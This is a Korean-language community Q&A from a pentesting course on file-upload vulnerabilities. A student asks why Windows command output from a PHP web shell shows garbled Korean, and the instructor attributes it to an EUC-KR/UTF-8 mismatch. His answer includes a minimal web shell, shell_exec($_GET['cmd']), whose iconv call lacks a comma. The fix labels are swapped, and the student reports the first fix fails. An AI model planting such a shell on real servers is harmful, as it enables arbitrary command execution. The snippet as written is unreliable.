인프런 커뮤니티 질문&답변

dhwns5555님의 프로필 이미지
dhwns5555

작성한 질문수

모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1

system() 함수 결과값 한글 깨짐 현상

작성

·

307

1

Windows IP ���� �̴��� ����� �̴���: �̵�� ���� . . . . . . . . : �̵�� ���� ���� ���Ằ DNS ���̻�. . . . : �̴��� ����� VirtualBox Host-Only Network: ���Ằ DNS ���̻�. . . . : ��ũ-���� IPv6 �ּ� . . . . :

.

.

.

�̴��� ����� Bluetooth ��Ʈ��ũ ���� 2: �̵�� ���� . . . . . . . . : �̵�� ���� ���� ���Ằ DNS ���̻�. . . . : 하이

답변 1

0

크리핵티브님의 프로필 이미지
크리핵티브
지식공유자

안녕하세요.

한글이 깨지는 문제는 인코딩 때문입니다.

컨텐츠 타입은 UTF-8인데, 윈도우 명령어 실행에 대한 결과 값은 EUC-KR 이기 때문에 한글이 깨집니다.

해결 방법은 여러가지로,

1) Content-Type 변경

    $result = shell_exec($_GET["cmd"]);
    $result = iconv("EUC-KR""UTF-8", $result);
    echo $result;

2) 결과 인코딩 변경

header("Content-Type: text/html; charset=EUC-KR");

둘중 하나를 해보시면 정상적으로 한글이 출력될 것 입니다.

dhwns5555님의 프로필 이미지
dhwns5555
질문자

위에꺼는 안되고 아래꺼는 잘되네요. 감사합니다.

dhwns5555님의 프로필 이미지
dhwns5555

작성한 질문수

질문하기